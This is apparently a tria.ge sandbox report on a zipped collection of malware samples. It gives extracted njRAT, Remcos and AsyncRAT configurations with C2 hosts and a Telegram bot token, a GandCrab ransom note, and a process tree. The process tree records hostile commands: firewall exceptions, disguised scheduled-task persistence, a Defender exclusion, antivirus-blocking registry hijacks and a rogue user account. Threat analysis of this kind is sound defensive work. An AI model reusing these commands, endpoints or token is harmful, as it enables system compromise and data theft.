Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Resubmissions

12/03/2025, 21:28

250312-1bn3yatwgv 10

12/03/2025, 21:24

250312-z9fzjsvpx2 10

12/03/2025, 21:22

250312-z8by7stvf1 6

12/03/2025, 21:20

250312-z63n5stvb1 7

11/03/2025, 00:00

250311-aaawtasr13 5

10/03/2025, 21:57

250310-1t6eyazlx6 10

09/03/2025, 01:58

250309-cdv29swybs 10

08/03/2025, 06:55

250308-hp35xatjt9 10

08/03/2025, 04:53

250308-fh1ebssky5 10

Analysis

  • max time kernel
    93s
  • max time network
    101s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250217-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
  • submitted
    12/03/2025, 21:24

General

  • Target

    My-Skidded-malwares-main.zip

  • Size

    106.4MB

  • MD5

    d01f58a973cfceca5abbb124f8e580ff

  • SHA1

    b60fd4d18c92322819300af17bc44e798d0ddef4

  • SHA256

    d5395f121277d2b38f4173c7df0a20a3de99edfcfe2aa697080cc81170eb76ab

  • SHA512

    81d6c94f56d53cd7fa29f5c1d9f8077a176b07b9a2c859b8525f6451660fb906dd960b71358ff870019990f541e816489c131a96b1fb2b7c66178a04ed35904d

  • SSDEEP

    3145728:Sg2PlA+mrMHCwbc/bAjXC0P5JCe94RWQRVBCXD7:SJlmxTAj7PtGR9RVBE3

Malware Config

Extracted

Family

njrat

Version

0.7d

Botnet

чучундра

C2

hakim32.ddns.net:2000

safety-bronze.gl.at.ply.gg:4444

Mutex

27b92504703b09d3ee2dae0873e8e3f3

Attributes
  • reg_key

    27b92504703b09d3ee2dae0873e8e3f3

  • splitter

    |'|'|

Extracted

Family

njrat

Version

0.7d

Botnet

HacKed

C2

192.168.1.42:5552

Mutex

bf7b1fe7a7644171a9985ea45221c25c

Attributes
  • reg_key

    bf7b1fe7a7644171a9985ea45221c25c

  • splitter

    |'|'|

Extracted

Family

njrat

Version

0.7d

Botnet

kosomk 555

C2

dovelabobzgnan.ddns.net:5552

Mutex

a8c0d4cf5cfc2cc1149b5e071c2ab5df

Attributes
  • reg_key

    a8c0d4cf5cfc2cc1149b5e071c2ab5df

  • splitter

    |'|'|

Extracted

Family

remcos

Botnet

AUGUST CRYPTER TOOLZ GRACE STUB

C2

teamfavour222.ddns.net :6767

odogwuvisual123.duckdns.org:6767

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    -YFLE4M

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Extracted

Family

asyncrat

Botnet

Default

C2

127.0.0.1:6606

127.0.0.1:7707

127.0.0.1:8808

https://api.telegram.org/bot7293375371:AAFwIvNWcuknS3y3mtsx4yNSSTkj8NCF_ko/sendMessage?chat_id=5795480469

Mutex

AsyncMutex_6SI8OkPnk

Attributes
  • delay

    3

  • install

    false

  • install_folder

    %AppData%

aes.plain

Extracted

Path

C:\$Recycle.Bin\ZSZFYCMB-DECRYPT.txt

Ransom Note
---= GANDCRAB V5.0.3 =--- ***********************UNDER NO CIRCUMSTANCES DO NOT DELETE THIS FILE, UNTIL ALL YOUR DATA IS RECOVERED*********************** *****FAILING TO DO SO, WILL RESULT IN YOUR SYSTEM CORRUPTION, IF THERE WILL BE DECRYPTION ERRORS***** Attention! All your files, documents, photos, databases and other important files are encrypted and have the extension: .ZSZFYCMB The only method of recovering files is to purchase an unique private key. Only we can give you this key and only we can recover your files. The server with your key is in a closed network TOR. You can get there by the following ways: ---------------------------------------------------------------------------------------- | 0. Download Tor browser - https://www.torproject.org/ | 1. Install Tor browser | 2. Open Tor Browser | 3. Open link in TOR browser: http://gandcrabmfe6mnef.onion/5907796f4e66e270 | 4. Follow the instructions on this page ---------------------------------------------------------------------------------------- On our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. ATTENTION! IN ORDER TO PREVENT DATA DAMAGE: * DO NOT MODIFY ENCRYPTED FILES * DO NOT CHANGE DATA BELOW ---BEGIN GANDCRAB KEY--- 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 ---END GANDCRAB KEY--- ---BEGIN PC DATA--- wfKD6iudumBkmpL8IRr4U4exEVaoOXLtwDwmOrT1y1YWvOiWMx5GYaRdvZZbTpFRvXYJ7nNWrrfYTHmHhh5qBJzzs9MC7736UkGSDDniUJJG8/LFF//kmGmoAZAGLo2j5/wd2UrxMJK+iqKhTkS3ArgAxrZOOOiXrbnhbWMkLHQnbYuWlMClYZxYU6SDxpopRo5r292AV1KIZBZV4APBuUHcKSIr2MWMI0O1MKIP2IpKLE2TS5wNmoQoAHZIP7k/TfrG1tVzlDb3jcZAB3gql9dnWN0lCD4xdg7bDNQrvH1xSi3FCw+6kfktKtizqdynr7r154JiurEmkUXB5eKt/2Y2FushGtJYalrVBiPt+BHQEd8b9CcQ4t64O6b3Y5NyPYz32XaispQRTRkqF1PXJPcJ15EHwNAoARPLnK8+Au5ZALyfhGEwg6hrKQ3vxBFKwg70Zi7pABFI3vXLMOap1wQZNHQURl2KYDmn1lvgAn90mSDf7SyGQSZnn7Ivlsuw7HIKVYbpfzf2fBccdMBnP2lNhH9XQ3DC3qZBEuHtJEioBZ9MNJGhHpcOfb/LRc8P54k7V/HuibORzJL9NXYEh8sz/ewORahtHP+ZbmbW4eJPXp1eNtQ19EJhJFLe2qhgw2mJLRMzwAtbfjn5E2ENiW4EkrJfTw== ---END PC DATA---
URLs

http://gandcrabmfe6mnef.onion/5907796f4e66e270

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Asyncrat family
  • DcRat

    DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.

  • Dcrat family
  • Njrat family
  • Process spawned unexpected child process 49 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Remcos family
  • StormKitty

    StormKitty is an open source info stealer written in C#.

  • StormKitty payload 2 IoCs
  • Stormkitty family
  • njRAT/Bladabindi

    Widely used RAT written in .NET.

  • Async RAT payload 1 IoCs
  • DCRat payload 4 IoCs

    Detects payload of DCRat, commonly dropped by NSIS installers.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

  • Modifies Windows Firewall 2 TTPs 2 IoCs
  • Office macro that triggers on suspicious action 1 IoCs

    Office document macro which triggers in special circumstances - often malicious.

  • Executes dropped EXE 2 IoCs
  • Uses the VBS compiler for execution 1 TTPs
  • VMProtect packed file 1 IoCs

    Detects executables packed with VMProtect commercial packer.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Enumerates processes with tasklist 1 TTPs 2 IoCs
  • UPX packed file 47 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Kills process with taskkill 1 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 51 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs

Processes

  • C:\Windows\Explorer.exe
    C:\Windows\Explorer.exe /idlist,,C:\Users\Admin\AppData\Local\Temp\My-Skidded-malwares-main.zip
    1⤵
      PID:1616
    • C:\Windows\System32\rundll32.exe
      C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
      1⤵
        PID:4200
      • C:\Program Files\7-Zip\7zG.exe
        "C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Desktop\" -an -ai#7zMap17286:106:7zEvent430
        1⤵
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:3928
      • C:\Users\Admin\Desktop\My-Skidded-malwares-main\MarisaMBR.exe
        "C:\Users\Admin\Desktop\My-Skidded-malwares-main\MarisaMBR.exe"
        1⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:3788
      • C:\Users\Admin\Desktop\My-Skidded-malwares-main\PCCooker2.0_x64.exe
        "C:\Users\Admin\Desktop\My-Skidded-malwares-main\PCCooker2.0_x64.exe"
        1⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        PID:1528
        • C:\Users\Admin\AppData\Local\Temp\VirusShare_0bd61f046f4d99491fa3588dba294e04.exe
          "C:\Users\Admin\AppData\Local\Temp\VirusShare_0bd61f046f4d99491fa3588dba294e04.exe"
          2⤵
            PID:1820
          • C:\Users\Admin\AppData\Local\Temp\クラック.exe
            "C:\Users\Admin\AppData\Local\Temp\クラック.exe"
            2⤵
              PID:2840
              • C:\Program Files (x86)\2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c.exe
                "C:\Program Files (x86)\2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c.exe"
                3⤵
                  PID:2940
                • C:\Program Files (x86)\5e710462c65fe899466e4fb7c1e33c9a.exe
                  "C:\Program Files (x86)\5e710462c65fe899466e4fb7c1e33c9a.exe"
                  3⤵
                    PID:1496
                  • C:\Program Files (x86)\7f1630df6b57af024a3b561bdadc208f.exe
                    "C:\Program Files (x86)\7f1630df6b57af024a3b561bdadc208f.exe"
                    3⤵
                      PID:856
                    • C:\Program Files (x86)\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe
                      "C:\Program Files (x86)\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe"
                      3⤵
                        PID:1112
                        • C:\Users\Admin\AppData\Local\Temp\server.exe
                          "C:\Users\Admin\AppData\Local\Temp\server.exe"
                          4⤵
                            PID:1964
                            • C:\Windows\SysWOW64\netsh.exe
                              netsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\server.exe" "server.exe" ENABLE
                              5⤵
                              • Modifies Windows Firewall
                              PID:6968
                            • C:\Windows\SysWOW64\taskkill.exe
                              taskkill /F /IM Exsample.exe
                              5⤵
                              • Kills process with taskkill
                              PID:7020
                        • C:\Program Files (x86)\34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe
                          "C:\Program Files (x86)\34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe"
                          3⤵
                            PID:2404
                            • C:\Windows\SysWOW64\netsh.exe
                              netsh firewall add allowedprogram "C:\Program Files (x86)\34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe" "34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe" ENABLE
                              4⤵
                              • Modifies Windows Firewall
                              PID:6520
                          • C:\Program Files (x86)\57ccb6f0bd910fed428761828ae93553.exe
                            "C:\Program Files (x86)\57ccb6f0bd910fed428761828ae93553.exe"
                            3⤵
                              PID:220
                              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\3lawsuhe\3lawsuhe.cmdline"
                                4⤵
                                  PID:7628
                                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES34C2.tmp" "c:\Users\Admin\AppData\Roaming\Frfx\CSC6837CEC7423B4FE5AEC3BD14BF77B081.TMP"
                                    5⤵
                                      PID:7012
                                • C:\Program Files (x86)\70e28b4e87181b012f43790f1cc8ccf79aae6d2e3ce66dd1659e8098e6c081c2.exe
                                  "C:\Program Files (x86)\70e28b4e87181b012f43790f1cc8ccf79aae6d2e3ce66dd1659e8098e6c081c2.exe"
                                  3⤵
                                    PID:1964
                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe
                                      "Powershell.exe" -windowstyle minimized "$Teratism249 = Get-Content 'C:\Users\Admin\AppData\Local\Temp\celleslim\farve\pitiableness\Guldtand.Spi168' ; $Neglefilen=$Teratism249.SubString(69482,3);.$Neglefilen($Teratism249) "
                                      4⤵
                                      • Command and Scripting Interpreter: PowerShell
                                      PID:5716
                                  • C:\Program Files (x86)\73c1c41b9e71c48e752a5cd19fe808b6.exe
                                    "C:\Program Files (x86)\73c1c41b9e71c48e752a5cd19fe808b6.exe"
                                    3⤵
                                      PID:5192
                                      • C:\Windows\System32\cmd.exe
                                        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\1VtWaJpBiL.bat"
                                        4⤵
                                          PID:6964
                                      • C:\Program Files (x86)\75c82fd18fcf8a51bc1b32a89852d90978fa5e7a55281f42b0a1de98d14644fa.exe
                                        "C:\Program Files (x86)\75c82fd18fcf8a51bc1b32a89852d90978fa5e7a55281f42b0a1de98d14644fa.exe"
                                        3⤵
                                          PID:5236
                                        • C:\Program Files (x86)\78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
                                          "C:\Program Files (x86)\78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe"
                                          3⤵
                                            PID:5308
                                            • C:\Program Files (x86)\78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
                                              "C:\Program Files (x86)\78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe"
                                              4⤵
                                                PID:6988
                                            • C:\Program Files (x86)\938b92958ded4d50a357d22eddf141ad.exe
                                              "C:\Program Files (x86)\938b92958ded4d50a357d22eddf141ad.exe"
                                              3⤵
                                                PID:5352
                                                • C:\Windows\winhlp32.exe
                                                  winhlp32.exe -x
                                                  4⤵
                                                    PID:5596
                                                  • C:\Windows\winhlp32.exe
                                                    winhlp32.exe -x
                                                    4⤵
                                                      PID:5264
                                                  • C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe
                                                    "C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe"
                                                    3⤵
                                                      PID:5388
                                                    • C:\Program Files (x86)\a6a1abaf12a28ea8f6553356c3bdcf57.exe
                                                      "C:\Program Files (x86)\a6a1abaf12a28ea8f6553356c3bdcf57.exe"
                                                      3⤵
                                                        PID:5460
                                                      • C:\Program Files (x86)\BTZ.exe
                                                        "C:\Program Files (x86)\BTZ.exe"
                                                        3⤵
                                                          PID:5520
                                                        • C:\Program Files (x86)\Cat.exe
                                                          "C:\Program Files (x86)\Cat.exe"
                                                          3⤵
                                                            PID:5768
                                                          • C:\Program Files (x86)\Client.exe
                                                            "C:\Program Files (x86)\Client.exe"
                                                            3⤵
                                                              PID:5872
                                                              • C:\Windows\SYSTEM32\CMD.exe
                                                                "CMD" /C SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" & exit
                                                                4⤵
                                                                  PID:8412
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe"
                                                                    5⤵
                                                                    • Scheduled Task/Job: Scheduled Task
                                                                    PID:5936
                                                                • C:\Windows\SYSTEM32\CMD.exe
                                                                  "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\WatchDog.exe" /RL HIGHEST & exit
                                                                  4⤵
                                                                    PID:5376
                                                                  • C:\Windows\SYSTEM32\CMD.exe
                                                                    "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\WatchDog.exe" /RL HIGHEST & exit
                                                                    4⤵
                                                                      PID:7536
                                                                  • C:\Program Files (x86)\Darkest Dungeon setub.exe
                                                                    "C:\Program Files (x86)\Darkest Dungeon setub.exe"
                                                                    3⤵
                                                                      PID:6024
                                                                      • C:\Users\Admin\AppData\Roaming\svhost.exe
                                                                        "C:\Users\Admin\AppData\Roaming\svhost.exe"
                                                                        4⤵
                                                                          PID:6804
                                                                      • C:\Program Files (x86)\evil.exe
                                                                        "C:\Program Files (x86)\evil.exe"
                                                                        3⤵
                                                                          PID:3288
                                                                          • C:\Users\Admin\AppData\Local\Temp\evil.exe
                                                                            "C:\Users\Admin\AppData\Local\Temp\evil.exe"
                                                                            4⤵
                                                                              PID:6660
                                                                          • C:\Program Files (x86)\fwclt.exe
                                                                            "C:\Program Files (x86)\fwclt.exe"
                                                                            3⤵
                                                                              PID:1644
                                                                            • C:\Program Files (x86)\Gandcrab5.0.3.exe
                                                                              "C:\Program Files (x86)\Gandcrab5.0.3.exe"
                                                                              3⤵
                                                                                PID:5204
                                                                                • C:\Windows\SysWOW64\wermgr.exe
                                                                                  "C:\Windows\System32\wermgr.exe"
                                                                                  4⤵
                                                                                    PID:6532
                                                                                • C:\Program Files (x86)\Happy18.exe
                                                                                  "C:\Program Files (x86)\Happy18.exe"
                                                                                  3⤵
                                                                                    PID:5448
                                                                                  • C:\Program Files (x86)\kosomk.exe
                                                                                    "C:\Program Files (x86)\kosomk.exe"
                                                                                    3⤵
                                                                                      PID:5688
                                                                                      • C:\Users\Admin\AppData\Roaming\dicsord.exe
                                                                                        "C:\Users\Admin\AppData\Roaming\dicsord.exe"
                                                                                        4⤵
                                                                                          PID:6440
                                                                                      • C:\Program Files (x86)\LightNeuronX0.exe
                                                                                        "C:\Program Files (x86)\LightNeuronX0.exe"
                                                                                        3⤵
                                                                                          PID:5584
                                                                                        • C:\Program Files (x86)\malecus.exe
                                                                                          "C:\Program Files (x86)\malecus.exe"
                                                                                          3⤵
                                                                                            PID:5892
                                                                                          • C:\Program Files (x86)\see7.exe
                                                                                            "C:\Program Files (x86)\see7.exe"
                                                                                            3⤵
                                                                                              PID:5780
                                                                                            • C:\Program Files (x86)\TEST.exe
                                                                                              "C:\Program Files (x86)\TEST.exe"
                                                                                              3⤵
                                                                                                PID:5624
                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\touhou virus.bat" "
                                                                                                3⤵
                                                                                                  PID:2780
                                                                                                  • C:\Windows\SysWOW64\net.exe
                                                                                                    net user Shanghai /add
                                                                                                    4⤵
                                                                                                      PID:8244
                                                                                                      • C:\Windows\SysWOW64\net1.exe
                                                                                                        C:\Windows\system32\net1 user Shanghai /add
                                                                                                        5⤵
                                                                                                          PID:7972
                                                                                                    • C:\Program Files (x86)\vbc.exe
                                                                                                      "C:\Program Files (x86)\vbc.exe"
                                                                                                      3⤵
                                                                                                        PID:5284
                                                                                                        • C:\Users\Admin\AppData\Local\Temp\cbgsujmwws.exe
                                                                                                          C:\Users\Admin\AppData\Local\Temp\cbgsujmwws.exe C:\Users\Admin\AppData\Local\Temp\jplmbcuny
                                                                                                          4⤵
                                                                                                            PID:1544
                                                                                                            • C:\Users\Admin\AppData\Local\Temp\cbgsujmwws.exe
                                                                                                              C:\Users\Admin\AppData\Local\Temp\cbgsujmwws.exe C:\Users\Admin\AppData\Local\Temp\jplmbcuny
                                                                                                              5⤵
                                                                                                                PID:4444
                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 1544 -s 616
                                                                                                                5⤵
                                                                                                                • Program crash
                                                                                                                PID:6672
                                                                                                          • C:\Program Files (x86)\virus.jk.exe
                                                                                                            "C:\Program Files (x86)\virus.jk.exe"
                                                                                                            3⤵
                                                                                                              PID:3500
                                                                                                              • C:\Program Files (x86)\virus.jk.jk.exe
                                                                                                                "C:\Program Files (x86)\virus.jk.jk.exe"
                                                                                                                4⤵
                                                                                                                  PID:6640
                                                                                                                  • C:\NH-Helper.exe
                                                                                                                    C:\NH-Helper.exe
                                                                                                                    5⤵
                                                                                                                      PID:2380
                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                        C:\Windows\system32\cmd.exe /c C:\123.bat
                                                                                                                        6⤵
                                                                                                                          PID:7128
                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                            reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\ZhuDongFangYu.exe" /v debugger /t reg_sz /d "ntsd -d" /f
                                                                                                                            7⤵
                                                                                                                              PID:6792
                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                              reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\360tray.exe" /v debugger /t reg_sz /d "ntsd -d" /f
                                                                                                                              7⤵
                                                                                                                                PID:7408
                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                              cmd.exe
                                                                                                                              6⤵
                                                                                                                                PID:7140
                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                              cmd.exe /C ftype exefile=C:\Program Files (x86)\virus.jk.jk.exe %1
                                                                                                                              5⤵
                                                                                                                                PID:6812
                                                                                                                              • C:\J-V-C.EXE
                                                                                                                                C:\J-V-C.EXE
                                                                                                                                5⤵
                                                                                                                                  PID:5968
                                                                                                                        • C:\Users\Admin\Desktop\My-Skidded-malwares-main\PanKoza2.0 Discord Token Stealer 2024.exe
                                                                                                                          "C:\Users\Admin\Desktop\My-Skidded-malwares-main\PanKoza2.0 Discord Token Stealer 2024.exe"
                                                                                                                          1⤵
                                                                                                                            PID:1156
                                                                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGUAYQB3ACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAGUAdgBkACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcARQBSAFIATwBSACAANAAwADQAOgAgAEMAYQBuAG4AbwB0ACAAYwBvAG4AbgBlAGMAdAAgAHQAbwAgAHMAZQByAHYAZQByACEAJwAsACcAJwAsACcATwBLACcALAAnAEUAcgByAG8AcgAnACkAPAAjAGoAdQBqACMAPgA="
                                                                                                                              2⤵
                                                                                                                                PID:1416
                                                                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAZgBpACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHEAcQB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHQAcAB6ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGsAeQB6ACMAPgA="
                                                                                                                                2⤵
                                                                                                                                  PID:5900
                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\CollabVM.exe
                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\CollabVM.exe"
                                                                                                                                  2⤵
                                                                                                                                    PID:5128
                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\yababi.exe
                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\yababi.exe"
                                                                                                                                    2⤵
                                                                                                                                      PID:5664
                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\yababi.exe
                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\yababi.exe"
                                                                                                                                        3⤵
                                                                                                                                          PID:6376
                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                            C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\yababi.exe'"
                                                                                                                                            4⤵
                                                                                                                                              PID:6236
                                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\yababi.exe'
                                                                                                                                                5⤵
                                                                                                                                                • Command and Scripting Interpreter: PowerShell
